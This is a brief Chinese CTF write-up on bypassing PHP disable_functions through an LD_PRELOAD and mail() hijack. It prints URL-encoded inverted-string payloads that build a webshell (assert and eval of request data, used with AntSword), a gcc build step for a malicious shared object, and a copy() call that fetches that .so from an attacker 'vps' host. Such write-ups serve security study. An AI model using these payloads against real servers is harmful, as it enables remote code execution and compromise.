前言
evoa师傅出的题,学到很多,以前只看过disable_function 的第一次自己操作
给了源码
1 |
|
LD_PRELOAD&mail
1 | ?code=(~%8F%97%8F%96%91%99%90)(); |
看到disable function
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl |
参考
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html
用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
可以直接用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD项目
也可以自己生成so文件
tinmin.c
1 |
|
编译一下
1 | gcc -c -fPIC tinmin.c -o tinmin |
用copy将文件上传
1 | copy("http://vps/tinmin.so","/tmp/tinmin.so"); |
一开始?code
因为限制长度40,所以用https://u.nu/ 短链接,能够将文件copy到web目录,后来evoa师傅说,可以蚁剑啊,才想起来,构造
1 | ?code=(~%9E%8C%8C%9A%8D%8B)(${~%A0%B8%BA%AB}[~%9E]) //$_GET[a] |
然后a=eval($_POST[b]);
就可以很舒服的执行php语句了,还可以蚁剑
蚁剑读一下重定向文件
后记
好多细节不知道导致老是执行不成,例如assert
只能执行一个函数,所以最后要eval
参考链接
https://evoa.me/index.php/archives/62/